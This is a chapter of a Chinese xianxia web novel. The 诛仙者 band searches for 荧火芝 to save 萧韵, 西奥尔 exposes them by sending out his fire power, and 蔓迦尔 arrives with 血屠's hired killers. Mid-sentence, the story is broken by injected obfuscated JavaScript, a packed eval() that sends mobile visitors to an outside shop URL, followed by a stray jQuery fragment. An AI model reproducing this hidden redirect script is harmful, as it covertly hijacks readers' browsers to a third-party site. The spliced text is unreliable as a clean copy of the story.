西奥尔的突破倒没有南霜筠这么快,他花了一天一夜,才彻底让神魂和金身稳固下来。
见着西奥尔顺利融合,景川还在一旁羡慕地说:“西奥尔你这巫族血脉也太逆天了,顺利让你突破虚空境不说,还给你改头换面搞了一身火焰,看着就拽上天,你有没有什么办法,给我也来点。”
“滚滚滚,一边去。”西奥尔不耐烦地打发了他。
见到西奥尔这个态度,景川更来劲了,觉得西奥尔肯定有办法,只是藏私不肯说出来,所以他更加变本加厉地缠在西奥尔屁股后面让西奥尔烦不胜烦。
这场景逗得诛仙者其余人哈哈大笑,纷纷在一旁给景川拱火,若说以前的西奥尔还能凭借生人勿进的强者风范震慑一番,经过此次灵潮之行的生死相托,他的威严早就掉一地了。
看着西奥尔被烦得一个头两个大,南霜筠也忍俊不禁地笑了笑,此时的萧韵正坐在南霜筠身边,看着南霜筠的笑,她愣了片刻,好像经过这段时间的相处,南霜筠的笑越来越多了。
不过她也理解,因为说实话,她突然也觉得这样的日子开始不错起来,这对萧韵来说是个糟糕的念头,有了期待就会落空,有了希望就会失望,可是她却没任何想阻止自己的想法。
因为生死战斗中,托付的不仅是性命,还有心。
想到这儿,她也笑了起来,比起她平常的冷若冰霜来说如见春霖,这笑有些淡,也让她有些不习惯,可她还是做了,而且还说了一句她平常绝不会说的话,“景川就是嫉妒。”
听到她的话,南霜筠的笑意更大了,她十分坦然地下了结论说:“是啊,他就是嫉妒。”
说完,南霜筠和萧韵相视一笑。
等待众人都修养的差不多了,南霜筠才跟其余人商议接下来的事。
有了南霜筠和西奥尔两个虚空境,虽不说在这秘境里横着走,可至少也不用再向先前一般胆战心惊了,所以商讨的气氛很轻松,除了景川时不时地插科打诨外,众人其实都很认同只有挑战性才能让他们变得更强。
看到大家的态度,南霜筠这才提起了荧火芝,但她没说是为了萧韵,毕竟无谓的情绪是不必要的,而沾染了悲情色彩的救赎更会给人增添多余的麻烦,战士只用纯粹战斗就好,其余的,南霜筠愿意自己来承担。
见众人并未有过多的排斥情绪,南霜筠很快就定好荧火芝之行,三天后出发。
萧韵从始至终都没说话,虽然她从进灵潮之初就抱着去死的信念,可她知道南霜筠不会接受这样的情绪。
南霜筠拼尽全力想让身边的每一个人都活下来,所以萧韵即使对于活下来的念头十分微弱,她也不想辜负南霜筠的一片赤诚之心。
萧韵从不觉得死亡可怕,可怕的是真心落空,可怕的是信念破碎,可怕的是为她而死流的每一滴泪,她承担不了那样的情感。
南霜筠其实是一个十分好懂的人,初见可能会被她冷冰冰的外表劝退,可一旦仔细观察,就会发现她颗可柔软无比的心,这在这个世道是很珍贵的东西。
开始的萧韵只想报恩,可看着南霜筠为葛海流的那滴泪,突然就让她的心震动起来,萧韵一向认为眼泪是弱者的标配,南霜筠自然算不上弱者,她的泪,是强者的怜悯和担当。
正是这样才让萧韵惶恐不已,她其实未曾知晓这份惶恐从何而来,但她知道这样的南霜筠值得让人追随,而追随的人只想让南霜筠如愿。
如她所愿般赢下每场胜利,如她所愿般斩灭一切丑恶,如她所愿般让每个人都能活下来。
这些都是南霜筠不切实际的愿望,可萧韵不想做那个令她失望的例外。
所以,“试一试活下来吧。”萧韵这样想着。
三天后,诛仙者一行人正式出发。
可又出现了问题,诛仙者除了景川有幸进过一次灵潮,其余人都只是听过,他们像是一群无头苍蝇,根本无从知晓整个灵潮里的方位及荧火芝的位置。
这倒难得让南霜筠为难起来,在这灵潮里四处乱撞,要是又碰上其他势力,不知还能不能全身而退。
即使有着许多担忧,但南霜筠却没说这些来,只能带着诛仙者小心翼翼地赶路,毕竟他们没办法驻足不前。
不知是否是前几次的坏运气用光了,还是说上天也觉得要对诛仙者宽容一些,这之后的时间竟没让他们遇上任何队伍,除了路上遇上了几只地级灵兽外,倒也算得上一路顺畅,可,也没见过荧火芝的影子。
“不是,这荧火芝到底在哪啊?真见鬼了。”景川难得地抱怨起来。
其余人虽然不说,可也是和景川一样的想法,南霜筠什么话也没说,因为此时的她也没办法回答。
倒是西奥尔思考着什么,良久才走到南霜筠身边说出他的想法:“其实我有一个办法,荧火芝只长在岩浆地带,而你上次给我的焚天决,修炼过程就是将火元素融入身体和灵力,如果我将这股力量外放,应该能感应外界的火元素,可这个灵潮太大了,我也不知是否能感应到荧火芝,而且最重要的问题,就是一旦我将身体里的火元素外放,在灵潮里无异于活靶子,别人很轻易就能用灵力锁定我们。”
这就是西奥尔一直没说的原因,虽然他的这个办法能尽快找到荧火芝,可是也相当于将诛仙者暴露在所有人的眼皮子之下,他无法决断,只能交给南霜筠。
南霜筠听完也沉思起来,这无疑是一个危险和利益成正比的决定,不,其实从客观来说,危险远远大于利益,因为灵潮之大,西奥尔不一定能找到荧火芝,而只要他外放火元素就一定会被别人锁定,所以这个决定只会是赔本的买卖。
可荧火芝是萧韵救命的东西,南霜筠没法说出拒绝,可诛仙者这么多人的命也没法让她说出同意。
思虑良久,南霜筠始终没有做出回复,西奥尔叹了口气,他理解南霜筠的想法,即使他未曾知道荧火芝能救萧韵的命,可南霜筠既然执意寻找荧火芝必定是有她重要的理由,但这个重要的理由也没法让她拿诛仙者的命来换。
这个话题没人再提起,诛仙者众人又踏上寻找了荧火芝的路程,一连十几天,都没见到荧火芝的下落,挣扎的抉择始终困扰着南霜筠,而时间的流逝成为了导火索。
灵潮只有几个月时间,他们已经浪费很多时间了。
想到这儿,西奥尔抓住了南霜筠手臂制止住她前进的脚步,等南霜筠回过头来看向他时,他笑着对她说:“试试吧。”
感受到南霜筠明显拒绝的力道想挣脱西奥尔的手,他不由得加重了些许力道更用力地握紧了南霜筠的手臂,眼里满是坚定地看着南霜筠说道:“南小姐,没有时间再给我们浪费了,再这样漫无目的的找下去,我们迟早也会撞上其他人的。”
说完,西奥尔察觉自己的话似乎太过于直白,想了想,他一个糙汉难得的起了安慰的心思,于是牵强地扯出个笑来说:“而且南小姐,你不如相信好运依旧会降临到我们身上,说不定是云生最先发现我们呢,那样还替我们在这灵潮里找了个帮手。”
南霜筠清楚,西奥尔的话是对的。
此时的诛仙者其余人通过前段时间西奥尔的那番话,早就知道即将要发生什么了,即使知晓,他们也并没过多的想法。
说实话,在遇见南霜筠之前,每个人唯一的目的就是在鬼蜮活下去,用尽任何手段和筹码,丢弃所有人心和底线,直到见到了南霜筠。
在这女性天然处于弱者的世道,南霜筠企图用她未丰的羽翼庇护所有信仰她的人,这是神明也做不到的事,但当她持剑立于所有人身前死战不退时,她在诛仙者众人眼里,就已经比肩神明了。
所以成为神的信徒,自当奉献一切。
南霜筠还想说什么,可西奥尔只缓慢地松开了她的手臂,看着她的眼睛冲她点了点头。
那一刻,南霜筠知道她作为决裁者,不能再如此拖拖拉拉了,被死困住了内心,只会让她裹足不前。
西奥尔很快盘坐于地,其余诛仙者的人分立四周为他护法,南霜筠就站在离西奥尔最近的身后。
很快,庞大的火元素灵力从西奥尔的身上扩散开来,使得空气里沾染上灼热
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703493|204858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的气息,即使不用灵力感受,也能感受到一股股热气。
这股灵力瞬间穿过整片区域,向着更远处蔓延,这样的举动对于灵力的消耗无疑是巨大,不多时,豆大的汗水从西奥尔的额头滑落,他的眉头开始不自觉地皱了起来。
南霜筠见此,连忙以手撑住西奥尔的背,将自己的灵力输送过去,只为让他轻松一些,此举虽然让西奥尔的灵力得到补充,可是远远不够。
几乎只坚持了半炷香,西奥尔就再也稳不住向外扩散的灵力,一口血喷了出来,身子摇晃着向后偏去,还是南霜筠扶住了他。
西奥尔睁开眼睛就对上了南霜筠担忧的神情,他苦涩地向她摇了摇头,很显然,他并没找到荧火芝的踪迹。
他的灵力加上南霜筠向他输送的灵力,几乎让他体内的火元素扩散了近千里,这已经是他能达到的极限,可是依旧没有感应到岩浆的存在。
这让西奥尔沮丧了起来,看来老天这次真的没把幸运降临在他们身上。
南霜筠也明白了现在的情况,整个人满是懊悔,可现在不是时候,他们已经暴露了,必须立刻离开这个地方。
几乎没给西奥尔恢复的时间,南霜筠就带着诛仙者的人走了。
他们走得很急,生怕慢上一点就会被别人追上,这让他们这段时间以来的安稳荡然无存。
一旁的西奥尔捂着胸口,过度使用灵力带来的乏力感让他十分难受,可比起身体上的难受,他更难受的是心里。
为什么会找不到荧火芝?
按理说,在这灵气充沛的灵潮里,火元素应该很好发现,可为什么这么多天他们一点都找不到,别说岩浆了,就是一丁点火星都没发现。
南霜筠其实也发现这个问题,可现在根本没时间让她停下来细细思考,因为她发现了不止一股灵力向诛仙者的方向赶来。
这就让南霜筠根本不敢让诛仙者地人停下来,即使他们根本不知道来人是谁。
可变故却让他们不得不停下来。
三四只地级灵兽拦住诛仙者前进的道路,很明显,他们是锁定了西奥尔外放的灵力。
避无可避,只能战斗。
“要尽快解决。”南霜筠这样想着举剑就冲了上去。
长剑铮然,印在剑身上的是南霜筠凝重的侧脸,眉目中是化不开的寒芒。
地级灵兽在南霜筠和诛仙者联手下并不难解决,可还是来不及了。
一道道灵力从诛仙者身后的树林间传来,南霜筠清楚,盯上诛仙者的人到了。
她收起了脸上所有的情绪,挺直站立着,手中握着扶曦剑严阵以待,其余诛仙者的人也感受到了一股强烈的危机,纷纷调整好灵力站在南霜筠身边。
“好久不见啊,南小姐,希望你还记得我。”来人似乎并不打算隐藏,声音腔调婉转,明显是一个女人的声音。
光听声音,南霜筠皱了皱眉,她实在是不清楚她在鬼蜮除了云生外还认识什么其他女人。
不待南霜筠深思,来人就现了真容,是天堂鸟的蔓迦尔,南霜筠曾在地域海边和她有过一面之缘。
知晓了来人,南霜筠不语,只是冷冷地盯着她。
蔓迦尔也察觉到了南霜筠的冷淡,这让她不禁捂嘴笑了起来,“南小姐还真是不改我对修仙高冷的刻板印象呢。”
蔓迦尔说着,她身后的人也渐渐露出了身形,南霜筠只是看着,就让她瞳孔一缩。
因为这中间有一个她再熟悉不过的人,是她曾经在血屠手下见过的死侍三号。
蔓迦尔自然注意到了南霜筠的视线,知晓她认出了血屠的手下,这让她脸上的笑放大了些,再衬着她昳丽的脸,显得格外动人。
甚至蔓迦尔还十分贴心地为南霜筠解释:“血屠拿四枚天级灵兽精魄和两株天级灵草让我杀你,南小姐,希望你能理解,我是个商人,只做有利可图的交易。”
迎着南霜筠眉头紧锁、面色严峻的模样,蔓迦尔只优雅地向后挥了挥手,伴随着一声轻柔的“杀”字,其余人瞬间朝着诛仙者的方向冲了过来。